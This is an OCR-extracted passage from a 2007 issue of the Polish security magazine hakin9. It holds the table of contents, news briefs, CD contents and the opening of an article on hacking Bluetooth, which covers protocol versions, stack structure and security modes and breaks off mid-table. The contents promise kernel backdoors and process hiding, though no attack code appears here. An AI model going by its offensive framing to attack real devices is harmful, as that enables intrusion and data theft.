plik

www.hakin9.org

hakin9 Nr 3/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Przedstawiamy garść najciekawszych wiadomości ze

świata bezpieczeństwa systemów informatycznych.

Zawartość CD –
hakin9.live

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Atak

Hakowanie na bluetooth

Ugo Lopez

Bluetooth to technologia, która ma ułatwić komuniko-

wanie się pomiędzy różnego rodzaju sprzętem elek-

tronicznym. Ma także swoje słabe punkty, które są

przedstawione w tym artykule.

Ataki na protokół TCP

z wykorzystaniem ICMP

Marcin Ulikowski

Autor Marcin Ulikowski wyjaśnia na czym polega

atak na protokół TCP z wykorzystaniem komunika-

tów ICMP. Pokazuje jak przeprowadzić atak z wyko-

rzystaniem omawianego protokołu oraz jak zabezpie-

czyć się przed podobnym atakiem.

Wybrane techniki

maskowania swojej obecności

w systemie GNU/Linux

Robert Jaroszuk

Pokazujemy jak stworzyć i napisać backdoor ukryty w

kernelu. Daje wskazówki jak ukryć przed administra-

torem systemu proces, którego nie powinien widzieć,

pliki oraz moduł kernela załadowany przez intruza.

Pasywne rozpoznawanie

systemów operacyjnych

Marcin Ulikowski

Przedstawiamy informacje na czym polega atak na pro-

tokół TCP z wykorzystaniem komunikatów ICMP, w jaki

sposób przeprowadzić atak i jak się przed nim bronić.

Niewidzialne backdoory

Michał Styś

Michał Styś w swoim artykule proponuje jak ukryć

sieciowy backdoor w systemie oraz jak uniezależnić

komunikację z backdoorem od poltyki firewalla zasto-

sowanej na atakowym serwerze.

ddajemy kolejny numer Hakin9 do Państwa rąk.

Mam nadzieję, że i tym razem znajdzie się wiele cie-

kawych artykułów, które nie pozwolą odłożyć nasze-

go czasopisma na zakurzoną półkę z innymi magazynami.

Bluetooth z języka angielskiego oznacza sinozęby lub

błękitny kieł i jest technologią, która powstała w celu lep-

szego komunikowania się pomiędzy różnymi urządzeniami

elektronicznymi typu telefon komórkowy, komputer, laptop,

czy klawiatura. Jest bardzo popularny wśród użytkowni-

ków urządzeń elektronicznych i między innymi dlatego głów-

nym tematem niniejszego numeru jest hakowanie Bluetho-

ot'a. Oprócz tego magazyn zawiera artykuły dotyczące tech-

nik maskowania w systemie GNU/Linux, będzie można się

dowiedzieć czegoś więcej o zabezpieczeniach kont PHP i

wiele więcej potrzebnych informacji osobom zainteresowa-

nym tematyką Hakin9!

Redakcja hakin9

www.hakin9.org

hakin9 Nr 3/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Bezpieczeństwo kont PHP

Paweł Maziarz

PHP to język skryptowy, na którym bazują większość

serwisów internetowych. Paweł Maziarz przedstawia

informacje dotyczące możliwości obejścia zabezpie-

czeń PHP oraz na jakie funkcje PHP należy zwrócić

szczególną uwagę w skryptach z różnych źródeł.

Bezpieczeństwo usług WWW

w Windows Longhorn Server

Artur Żarski

Najnowsza wersja systemu operacyjnego Windows

Server, aktualnie pod nazwą kodową Longhorn

będzie dostępna na rynku w listopadzie 2007 roku.

Co prawda do premiery zostało jeszcze dużo czasu,

ale już teraz można przyjrzeć się najnowszej wersji

serwera WWW, czyli IIS7.

Detekcja anomalii ruchu

sieciowego w programie Snort

Maciej Skowroński, Radosław Wężyk, Maciej Szmit

Autorzy pragną, aby czytelnicy dowiedzieli się o pro-

cesorach do Snorta bazujących na detekcji anomalii

i starają się wytłumaczyć jak napisać własny proce-

sor do Snorta.

Księgozbiór

Krystyna Wal, Łukasz Długosz

Recenzujemy książki: Bezpieczeństwo protokołu

TCP/IP kompletny przewodnik, Bezpieczeństwo w

Windows Server 2003 Kompendium

Sprzęt

Dyski twarde

Rafał Podsiadły

Historia pamięci masowych sięga połowy dzie-

więtnastego wieku – już wtedy używano kart per-

forowanych do wprowadzania danych do mecha-

nicznych maszyn liczących. Pierwsze elektronicz-

ne komputery korzystały z pamięci zbudowanej z

lamp elektronowych, potem zaczęły pojawiać się

różne pamięci magnetyczne: bąbelkowe, taśmo-

we, bębnowe.

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Martyna Żaczek

Tłumaczenie: Katarzyna Kruś

Wyróżnieni betatesterzy: Michał Gałka, Rafał Rawicki

Opracowanie CD: Wojciech Trynkowski

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Aera artur.wieczorek@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 3/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 3/2007

Słaby 2006

Bezpieczeństwo IT w 2006 roku

było bardzo słabe jak donosi raport

znanego serwisu SECUNIA. Można

wyróżnić kilka grup słabości doty-

czących bezpieczeństwa, najwięk-

szą z nich stanowią słabości z

kategorii system access, a drugą

powszechnie znaną są te słabo-

ści dla których nie ma rozwiązań.

Pierwsza grupa charakteryzuje się

tym, iż bezpośrednio pozwalaja na

dostęp do zasobów komputera. Jak

się okazuje nowym trendem wśród

hakerów stał się atak na zasoby

konkretnych komputerów.

Drugą grupą słabości są te dla któ-

rych nie ma łat, a są one powszech-

nie dostępne (tzw. “ 0-day expolits).

Tutaj przewagę mają zagrożenia,

które są związane z oprogramo-

waniem Microsoft Office. Może się

to wydać bardzo groźne w momen-

cie kiedy posiadacz komputera nie

zadbał o odpowiednie bezpieczeń-

stwo swojego sprzętu.

Bardziej zainteresowanych tym

tematem odsyłamy do przeczytania

całego raportu SECUNIA. Można

tam przeczytać o różnych badaniach

prowadzonych przez tą właśnie

firmę, jak i o bezpieczeństwie naj-

ważniejszych aplikacji zainstalowa-

nych na prywatnych komputerach.

Niebezpieczny

Internet Explorer

Amerykańska gazeta The Washing-

ton Post, poinformowała, że Inter-

net Explorer, najpopularniejsza

przeglądarka na świecie była nieza-

bezpieczona przez 284 dni w 2006

roku. Informacje oparte były na

danych przekazanych przez firmę

Microsoft oraz na wywiadach ze

specjalistami ds. Bezpieczeństwa.

78% dni ubiegłego roku użytkow-

nicy IE byli narażeni na niebezpie-

czeństwo. Przez ok. 100 dni jedna

luka była aktywnie wykorzystywa-

na przez hackerów do kradzieży

danych osobowych oraz finanso-

wych. Porównując, główny konku-

rent Internet Explorera – przeglą-

darka Firefox – przez 9 dni miała

poważne problemy z załataniem

dziury. W Sieci, w ubiegłym roku,

pojawiło się kilkanaście informa-

cji, pokazujących, jak wykorzystać

dziury w IE, zanim jeszcze zosta-

ło to naprawione. Przed publika-

cją tych danych, autor Brian Krebs,

pokazał wyniki badań przedstawi-

cielom Microsoftu, a oni nie mieli

wobec nich żadnych zastrzeżeń.

Jak bezpiecznie jest w banku

Bank jest pierwszym w
Polsce wirtualnym bankiem.

Blisko  100  000  osób  korzysta  z
kart kredytowych tej instytucji. Naj-
ważniejszą  kwestią  powinno  być
bezpieczeństwo  środków  finanso-
wych ulokowanych na rachunkach.
Jednak ostatnio konta klientów tego
banku  zostały  zagrożone.  Wykry-
to  błędy  w  systemie,  które  umoż-
liwiają  wgląd  do  informacji  doty-
czących  danych  właściciela  konta,
a  mianowicie  adres  zamieszkania,
adres korespondencyjny, e-mail itp.
Osoba  niepożądana  mogła  przej-
rzeć  listy  przelewów-  jak  przebie-
gały transakcje i zdobyć informacje
na  temat  odbiorcy  i  kwoty.  Mogła
mieć wgląd do danych dotyczących
zaciągniętych  kredytów  oraz  kart
kredytowych.  Teoretycznie  środki
finansowe  klientów  są  bezpieczne
ponieważ  każdorazowe  dokona-
nie transakcji musi być zatwierdzo-
ne  jednorazowym  hasłem  z  karty

kodów.  mBank  dokłada  wszelkich
starań,  aby  naprawić  swój  system
i  informuje,  że  zagrożenie  doty-
czyło  tylko  klientów,  którzy  byli
zalogowani  i  jednocześnie  kliknę-
li  na  spreparowany  link  przesła-
ny  za  pomocą  poczty  elektronicz-
nej,  komunikatorów  itp.  Sytuacja
ta  jest  niemożliwa  bez  aktywnego
udziału  zalogowanego  użytkowni-
ka  co  nie  pozwala  na  dokonanie
jakiejkolwiek  transakcji,  które  są
zatwierdzane  hasłem  jednorazo-
wym  TAN  lub  kodem  SMS.  Naka-
zuje  także  swoim  klientom  korzy-
stającym z Internetu o przestrzega-
nie zasad bezpieczeństwa i zabra-
nia  uruchamiać  linki  przesłane  w
e-mailach  nieznanego  pochodze-
nia.  Wszelkie  informacje  dotyczą-
ce  zabezpieczeń  klienci  mBanku
mogą  przeczytać  na  stronie  http:

//www.mbank.com.pl/ w zakładce
bezpieczeństwo.

Łamanie protokołów Bluetooth

dzisiejszych czasach postęp
techniczny idzie szybko na

przód,  niedawno  niemieccy  progra-
miści  umożliwili  dostęp  do  dwóch
aplikacji, które pozwolą przejąć kon-
trolę nad urządzeniami, wykorzystu-
jącymi do łączności protokół Blueto-
oth.  Narzędzia  te  mogą  wyrządzić
wiele  szkód  komputerom  PC  i  tele-
fonom  komórkowym.  Zostały  one
przedstawione ma kongresie Chaos

Communications Congres w Berli-
nie.

Tematem kongresu było przed-

stawienie  faktu,  iż  bardzo  dużo
firm nie zwraca uwagi na standard
Bluetooth,  skupiając  się  tylko  na
zabezpieczeniu tylko sieci bezprze-
wodowych,  opartym  na  popular-
nych protokołach

IEEE 802.11a/b/g

Prezentacji narzędzi dokonał Thier-
ry Zoller.

Istnieje

wiele

przykładów

łamania  protokołu  Bluetooth  np.:
narzędzie  HID  (Human  Interfa-
ce  Device).  Daje  ono  możliwość
kontroli nad klawiaturą, działającą
poprzez BT exploit, co pozwala na
zdobycie  informacji  znajdujących
się  w  komputerze.  Jak  twierdzi
odkrywca tej luki – Collin Mulliner
HID  attack  jest  bardzo  trudny  do
wykrycia a nawet niemożliwy, jest
to  spowodowane  brakiem  wspar-
cia trybu serwerowego przez pro-
dukty HID.

Rysunek

Bluetooth

W skrócie

hakin9 Nr 3/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 3/2007

Kerio WinRoute Firewall

Kerio WinRoute Firewall 6.2.3-

2027-Profesjonalna aplikacja stwo-

rzona dla sieci korporacji, jej naj-

nowsze wydanie chroni przed ata-

kami z zewnątrz oraz wirusami,

ogranicza dostęp do witryn w opar-

ciu o ich zawartość. Główną zaletą

Kerio WinRoute może być obsługi-

wana za pomocą przeglądarki Inter-

net Explorer wersji 7. Jest także

udoskonalony bardziej niż poprzed-

nia jego wersja, a mianowicie lepiej

współpracuje z programami antywi-

rusowymi i usunięto problemy zwią-

zane z konfiguracją sieci.

Aplikacja umożliwia szczegóło-

we definicje reguł do filtrów typu

stateful inspection (dla połączeń

wychodzących i przychodzących),

szybkie dzielenie łącza interne-

towego, zabezpieczenie antywi-

rusowe oraz pełne wsparcie dla

technologii VPN, VoIP oraz UpnP.

Oprócz tego blokuje zagrożone i

niebezpieczne strony interneto-

we. Dodatkowo dodano antywi-

rusowe skanowanie poczty, doło-

żono silnik antyspamowy dla

poczty przychodzącej, bezpośred-

nia wymiana plików (P2P) została

zablokowana, ale dodano możli-

wość powiadamiania przez pocztę

o ważnych zdarzeniach.

Microprocesor CELL

Głównym tematem lutowej konfe-

rencji ISSCC 2007 będzie mikro-

procesor CELL, wytwarzanego w

technologii 65 nm. Został on wypro-

dukowany w technologii 65 nm

CMOS SOI.

Układ wyróżnia się dużą oszczęd-

nością energii elektrycznej, zuży-

wając jedynie 1,3 V.

Częstotliwość taktowania zegara

mikroprocesora CELL wynosi 6

Ghz. Nieoficjalnie mówi się, że

pierwszym urządzeniem w którym

zamieści się chip będzie konsola

Playstation 3 firmy Sony.

Atak na Open Source

aza MySQL projektu Beryl
została wykasowana. Beryl to

projekt,  który  jest  oparty  na  mena-
dżerze  okien  Compiz  firmy  Novell.
Obecnie  jest  samodzielnym  akcele-
ratorem pulpitu. Oferta jest oparta m.
in. na: segregacji okienek i wyświe-
tlanie ich w postaci miniaturek, przy-
bierają  one  różnorodną  animację
oraz  wyświetlanie  takich  efektów
jak  pulpit  w  postaci  trójwymiarowej
kostki  sześciennej.  Ataku  dokonał
członek Compiz i stało się to drugie-
go  stycznia.  Zostały  usunięte  dane
dotyczące działania strony www pro-
jektu  Beryl,  blogów  programistów
oraz  berylowej  wiki.  Włamywacz

oszczędził  jedynie  forum  projektu.
Jak  się  okazało  atakujący  zdobył
dane  dostępowe  do  konta  phpMy-
Admin, co prawda były to dość ogra-
niczone  uprawnienia,  ale  zdołał
usunąć tabele.

Złapanie

włamywacza

było

bardzo prostą sprawą ponieważ w
żaden sposób nie ukrył swojego IP.

Co do samego przestępcy nie

podjęto jeszcze żadnych sankcji
prawnych (grozi mu nawet rok wie-
zienia), a sam zainteresowany przy-
znał się do winy i swój czyn tłumaczy
frustracją.

Wirtualna telewizja

rojekt, który tak hucznie został
ogłoszony na Wirtualnej Polsce

ruszył pełna parą! Chodzi o interne-
tową telewizję, która była testowana
od połowy grudnia, a teraz ruszył już
w oficjalnej wersji. Ogłoszone je naj-

ważniejszym  wydarzeniem  na  pol-
skim  rynku  internetowym  i  zaczęło
swoją  działalność  od  uruchomienia
czterech  kanałów:  biznesowy,  infor-
matyczny, rozrywkowy i tu się ucie-
szy  męska  część  społeczeństwa
polskiego- erotyczny.

Internetowa telewizja wirtualnej

polski  daje  możliwość  dobierania
sobie  programów  według  własnych
potrzeb.  Obecne  cztery  kanały  to
oczywiście wstęp do tego co dopie-
ro  ma  nastąpić.  W  chwili  obecnej
każdy z kanałów ma własną ramów-
kę-poszczególne programy są nada-
wane  o  określonych  godzinach.
Telewidz  dzięki  Archiwum  może
korzystać  z  poszczególnych  kana-
łów  (Video-on-Demand).  Wszystkie
cztery  kanały  wydają  się  dość  inte-
resujące.

Program

informacyjny-News-

zawiera  takie  programy  jak:  Roz-
mowa dnia, w której internauci będą
mogli  obejrzeć  autorskie  wywia-
dy  ze  znanymi  osobami;  przegląd
prasy-informacje  z  najciekawszych
i  najbardziej  poczytnych  polskich

czasopism;komentarz  dnia-udzie-
lany  przez  polityków;orzeł  i  gwiaz-
dy-wywiady;vip  room  oraz  program
poświęcony sondom ulicznym-hyde-
park.

Drugim kanałem, który będzie

można  obejrzeć  w  wirtualnej
polsce  to  kanał  rozrywka.  Zain-
teresowani  będą  mogli  zobaczyć
w  nim  zapowiedzi  filmów  i  gier,
plotki  z  życia  gwiazd  polskich  jak
i  zagranicznych,  teledyski,  progra-
my  dokumentalne.  Będzie  także
można  ujrzeć  Roberta  Patoletę  w
programie  Jazda  Niekontrolowa-
na,  a  także  program  satyryczny
Kookly-polskie Muppet Show.

Kanał Biznes został stworzo-

ny  dzięki  współpracy  z  pierwszą
w  Polsce  telewizją  biznesową  TV
Biznes. Będą poruszane tu tematy
związane z giełdą, z rynkiem inwe-
stycyjnym,  walutowym,  finanso-
wym.  Podawane  będą  informacje
na  temat  podatków,  analiz  ekono-
micznych.

Godziny 23.00-6.00 rano wirtual-

na polska przeznaczyła ten czas na
kanał  erotyczny.  Oczywiście  prze-
znaczony on jest głównie dla męskiej
widowni  po  18  roku  życia.  Będzie
można  w  nim  obejrzeć  krótkie  filmy
erotyczne.

Rysunek

Kerio WinRoute

Firewall

hakin9.live

hakin9 Nr 3/2007

www.hakin9.org

Zawartość CD1

Axigen Mail Server Lite Edition kit

Są to szybkie, niezawodne i bardzo bezpieczne serwery
pocztowe.  Pracują  one  na  serwerach  Linux:  Red  Hat,
SuSE,  Madrake,  Fedora,  Ubuntu,  Debian,  Gentoo  oraz
BSD:  FreeBSD,  OpenBSD,  NetBSD.  Serwery  te  mogą
używać  wszyscy:  od  małych  przedsiębiorstw  po  duże.
Do najgłówniejszych cech Axigen Mail Server Lite Edi-
tion kit należą: prosta konfiguracja i elastyczność, modu-
larna architektura (zintegrowane usługi email, niezależne
konfigurowanie oraz wielowątkowe moduły), szybkie wy-
szukiwanie  niepożądanych  połączeń,  ochrona  przeciw
atakom,  zgodność  ze  specyfikacjami  RFC,  równoległe
przetwarzanie  i  wymiana  danych.  Podstawowa  pomoc
techniczna jest w cenie.

Oleansoft Hidden Camera 250x1

Jest  znakomitym  programem  dla  pracodawców,  którzy
chcą wiedzieć co ich pracownicy robią podczas ośmio-
godzinnego trybu pracy. Teraz to już jest proste z Ole-
ansoft Hidden Camera 250x1, bo ona może kontrolować
wszystkie  komputery  jednocześnie,  oraz  wszystkich
pracowników  i  ich  biura.  Najogólniej  mówiąc  program
pozwala na podgląd wszystkich komputerów przez sieć
lokalną lub Internet. Kontrola ponad 50 komputerów rów-
nocześnie jest już możliwa poprzez zapisywanie zrzutu
ekranu komputera np. co 60 sekund. Każda taka zrzutka
jest zapisywana na komputerze pracodawcy.

Dekart Password Carrier

Automatycznie zbiera, bezpiecznie przechowuje hasła
oraz prywatne detale, które są wpisywane podczas logo-
wania na stronach i używane podczas aplikacji Windows.
Służy także do ochrony przed “phishing'iem” i wykrada-
niem haseł. Funkcja generowania bezpiecznych i trwa-
łych haseł to tylko niektóre z zalet tego programu.

Backup Platininum 3.0

Jest łatwym w użyciu programem do tworzenia kopii
bezpieczeństwa filmów na płytach DVD. Jest wstanie od-
tworzyć całą zawartość krążka-film, zapowiedzi, ścieżki
dźwiękowe oraz napisy. Jest funkcjonalna jak wersja
Gold i prosta jak wersja Express.

Kurs na certyfikat Cisco CCNA cz. II

Certyfikat  CCNA  przeznaczony  jest  dla  specjalistów
od  niewielkich  sieci  (do  100  stanowisk)  i  potwierdza
umiejętności w zakresie instalacji i konfiguracji routerów
i  przełączników  Cisco  w  sieciach  LAN  i  WAN  (popra-
wa  wydajności  i  bezpieczeństwa  sieci  oraz  usuwanie

Zawartość CD

problemów).  Kandydat  może  wybrać  dowolny  sposób
przygotowania  się  do  egzaminu,  w  szczególności  edu-
kację  zdalną.  Certyfikatem  CCNA  kończy  się  również
czterosemestralny kurs realizowany w ramach programu
Cisco Networking Academy, z którego korzysta obecnie
800 studentów z 19 szkół i uczelni.

Zawartość CD2

Na drugiej płycie znajduje się hakin9.live (h9l) w wersji
3.1-aur – bootowalna dystrybucja Auroxa, zawierająca
przydatne narzędzia, dokumentację, tutoriale i materiały
dodatkowe do artykułów. Aby zacząć pracę z hakin9.live,
wystarczy uruchomić komputer z CD1. Po uruchomieniu
systemu możemy zalogować się jako użytkownik hakin9
bez podawania hasła. Materiały dodatkowe zostały
umieszczone w następujących katalogach:

•   tut – 25 tutoriali
•   Aurox-Live;
•   E-books

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest
dostępna z podkatalogu /mnt/cdrom. Wersję hakin9.live
3.1-aur zbudowaliśmy, opierając się o dystrybucję Aurox
i skrypty automatycznej generacji (www.aurox.org/pl/
live). Narzędzia dystrybucji, które nie znajdują się na do-
łączonej do pisma płycie, instalowane są z repozytorium
Auroxa za pomocą programu yum. W porównaniu z haki-
n9.live 2.9.1-ng zasadniczą zmianą jest oparcie systemu
na dystrybucji Aurox Live 11.1. oraz przejście z Fluxboksa
na środowisko graficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję.

Na CD1 opracowane zostały praktyczne ćwiczenia do

jendego artykułu – Sieci nie lokalne, który można prze-
czytać w piśmie. Zakładamy, że podczas wykonywania
ćwiczeń związanych z artykułami i tutorialami, użytkow-
nik korzysta z hakin9.live. Dzięki temu uniknie proble-
mów związanych z różnymi wersjami kompilatorów, inną
lokalizacją plików konfiguracyjnych czy opcjami niezbęd-
nymi do uruchomienia programu w danym środowisku.
hakin9.live został przygotowany pod kątem tych ćwiczeń
i zawiera wszystkie wymagane aplikacje. l

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

www.hakin9.org

hakin9 Nr 3/2007

Atak

tóż nie pamięta czasów, nie tak znowu
odległych, kiedy to telefon komórkowy
był postrzegany z pewną dozą nieufno-

ści bądź zazdrości? Uznawany pierwotnie bar-
dziej za symbol statusu niż za narzędzie komu-
nikacji, telefon komórkowy stanowi już od dłuż-
szego czasu nieodłączny element codzienne-
go życia każdego z nas.

Technologia Bluetooth, powstała by poko-

nać ograniczenia portów na podczerwień IRDA
(Infra Red Device Adapter) i FastIRDA, gdzie
urządzenia peryferyjne musiały być wzajemnie
widoczne i oferowały niskie prędkości przesy-
łowe, rozwija się ponad wszelkie przewidywa-
nia. Jak w przypadku każdej rzeczy na polu in-
formatycznym, gdy postęp dokonuje się w spo-
sób tak gwałtowny, bezpieczeństwo pozostaje
daleko w tyle. Rzeczywiście, liczne są słabości
obecne w Bluetooth. Lecz po kolei, najpierw
postarajmy się opisać w miarę szczegółowo tę
technologię.

Technologia Bluetooth

Bluetooth powstał w 2003 roku. Z inicjatywy
wielu producentów stanowiących konsorcjum
SIG (Ericsson, Nokia, Microsoft, Intel, Motoro-
la, Apple i innych), Bluetooth jest obecny nie-

malże  we  wszystkich  urządzeniach  przeno-
śnych  (telefony  komórkowe,  słuchawki,  nawi-
gatory  satelitarne,  drukarki,  itd.).  Technologia
ta pozwala tworzyć prawdziwe PAN (Personal
Area  Network)  w  sposób  umożliwiający  wza-
jemne korzystanie z zasobów pomiędzy urzą-
dzeniami, nie koniecznie jednakowymi, czyniąc
maksymalnie  prostym  wpółdziałanie  z  użyt-
kownikiem.

Aktualnie istnieją 2 standardy stosowane w

urządzeniach peryferyjnych obecnych na ryn-
ku:

Hakowanie Bluetooth

Ugo Lopez

stopień trudności

Bluetooth jest technologią, która powstała by ułatwić nasze

zdolności komunikowania się. Okazał się jednak także

technologią nadającą się do kradzieży danych. W tym artykule

przedstawimy Wam jak wykorzystać jego słabe punkty.

Z artykułu dowiesz się...

• jakie są słabe punkty niektórych urządzeń Blu-

etooth i jak je wykorzystać.

Co powinieneś wiedzieć...

• znajomość na poziomie użytkownika systemów

Windows,

• znajomość na poziomie użytkownika systemów

Linux, zastosowanie powłoki shell,

• znajomość na poziomie użytkownika zaawan-

sowanego mobilnych urządzeń Bluetooth.

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

• Core Specification 1.2 – 5 listo-

pada 2003,

• Core Specification 2.0 + EDR

– 15 października 2004.

Oprócz nich istnieją również standar-
dy już zaniechane. A dokładniej:

Bluetooth 1.0 i 1.0B: wersje 1.0 i

1.0B  nęka  wiele  problemów,  przede
wszystkim związanych ze współdzia-
łaniem  produktów  odmiennych  kon-
struktorów.  Pomiędzy  tymi  dwoma
standardami dokonano zmian w pro-
cesie  weryfikacji  adresu  fizycznego
przypisanego  każdemu  urządzeniu:
stara  metoda  uniemożliwiła  pozosta-
wanie  anonimowym  podczas  komu-
nikacji,  stąd  jakiś  złośliwy  użytkow-
nik wyposażony w skaner częstotliwo-
ści mógł przechwycić ewentualne po-
ufne informacje. Wersja B przyniosła
także zmiany związane z obsługą śro-
dowiska Bluetooth usprawniając moż-
liwość współdziałania,

Bluetooth 1.1: naprawia wiele błę-

dów, które pojawiły się w wersji 1.0B.
Pozwala na komunikację przy wyko-
rzystaniu kanałów niekodowanych.

Obecnie standard 1.2, kompaty-

bilny z wersją 1.1, przewiduje: Ada-

ptive  Frequency  Hopping  (AFH):  ta
technika  zapewnia  większą  odpor-
ność na interferencje elektromagne-
tyczne, gdyż unika stosowania kana-
łów  podatnych  na  silne  interferen-
cje,  zwiększa  szybkość  transmisji,

extended Synchronous Connections
(eSCO): oferuje tryb transmisji audio
wysokiej jakości, przesyłając ponow-
nie  dane  w  razie  ich  utraty.  Został
także  wprowadzony  czujnik  jakości
sygnału.  Posiada  interfejs  pozwala-
jący  na  obsługę  aż  trzech  UART
(standard  symulujący  obecność  po-
łączenia kablowego) i na dostęp do
informacji  związanych  z  synchroni-
zacją transmisji Bluetooth.

Natomiast standard 2.0, kompa-

tybilny ze wszystkimi wcześniejszy-

mi  standardami,  zapewnia  następu-
jące usprawnienia: z motywów bez-
pieczeństwa  unika  przeskakiwania
pomiędzy  kanałami.  Bezpieczeń-
stwo  zostaje  zapewnione  poprzez
algorytmy kryptograficzne, obsługu-
je zarówno multicast jak i broadcast,
zwiększa szybkość transmisji do 2,1
Mbit/s  (3  we  wspomnianej  wcze-
śniej wersji z 15 października 2004),
wprowadza  usługę  obsługi  jakości.
Wprowadza  także  protokół  umożli-
wiający  dostęp  do  urządzeń  współ-
dzielonych,  redukuje  zauważalnie
czasy odpowiedzi i zmniejsza o po-
łowę wykorzystywaną moc.

Jest już w fazie przygotowania no-

wa wersja Bluetooth (o nazwie Lis-

bon) przewidująca: Atomic Encryption

Chance: okresowa zmiana hasła dla
połączeń kodowanych, Extended In-

quiry Response: dostarcza więcej in-
formacji  o  urządzeniach  usiłujących
ustanowić  połączenie,  faworyzując
tym samym filtering urządzeń niepew-
nych, Sniff Subrating: system redukcji
zużycia  w  stanie  sniffingu,  poprawa

QoS (Quality of Service), Simple Pa-

iring: poprawa kontroli strumieni bitów
poprzez mechanizmy parowania.

Istnieje także kolejna wersja (o

nazwie Seattle) przewidująca wpro-
wadzenie jako znaczącą innowację

Ultra Wide Band (UWB), co pozwoli
na znaczące zwiększenie prędkości.

Wreszcie, urządzenia Bluetooth

można podzielić na 3 klasy (zobacz
Tabela 1).

W celu zapoznania się z innymi

szczegółami  tych  standardów  moż-
na  odwiedzić  oficjalną  stronę  po-
święconą  technologii  Bluetooth  i
ściągnąć  dokumenty  specyfikacji
(http://www.Bluetooth.com).

Rzućmy teraz okiem jak funkcjo-

nuje, zgrubsza, stos protokołów Blu-
etooth (Rys. 1)

W gruncie rzeczy możemy wy-

różnić w nim dwie części:

• Host protocols: implementowane

na poziomie oprogramowania ko-
munikują się, poprzez API, z apli-
kacjami; obsługują funkcje wyż-
szego poziomu,

• Controller protocols: obsługują

moduł radiowy.

Oba składniki komunikują się ze sobą
poprzez HCI (Host Controller Interfa-
ce), który jest odpowiedzialny za de-
finiowanie zbioru wiadomości i zbioru
sposobów ich transportowania.

Teraz przyjrzyjmy się bardziej

szczegółowo stosowi protokołów
(Rys. 2).

Jest to schemat ostateczny stosu

protokołów. W celu zapewnienia wy-
miany z innymi protokołami jego za-
sadniczymi składnikami są:

• L2CAP (Logical Link Control and

Adaptation Protocol): kapsuł-
kuje pakiety i zapewnia mecha-
nizm abstrakcyjny przypominają-
cy koncepcję portów w TCP/IP,

• SDP (Service Discovery Proto-

col): upublicznia usługi oferowa-
ne przez poszczególne urządze-
nia i wyszukuje usługi oferowane
przez urządzenia z którymi chce
się komunikować.

Spróbujmy teraz zaprezentować dia-
gram funkcjonalny protokołu Blueto-
oth (Rys. 3).

W skrócie, można wyróżnić nastę-

pujące stany: Standby: oczekiwanie na
połączenie, Inquiry: wykrywanie urzą-
dzeń znajdujących się w pobliżu, Page:
próba połączenia z urządzeniem, Con-

nected: urządzenie aktywne w sieci,

Transmit data: dane w trakcie transmi-
sji, Park/Hold: tryb niskiego zużycia.

Miejmy w pamięci ten diagram

funkcjonalny, ponieważ przyda się
nam do zrozumienia niektórych ty-
pów ataków.

Zasady bezpieczeństwa

Rzuciwszy okiem na specyfikacje
można zauważyć, że te przewidują
trzy rodzaje (nie)bezpieczeństwa:

• mode 1: brak bezpieczeństwa,
• mode 2: ochrona na poziomie

usługa/aplikacja,

Tabela

1. Trzy klasy Bluetooth

Klasa

Moc(mW)

Moc (dBm)

Odległo-

ść(Przybliżona)

Klasa 1

100 mW

20 dBm

~ 100 metrów

Klasa 2

2,5 mW

4 dBm

~ 10 metrów

Klasa 3
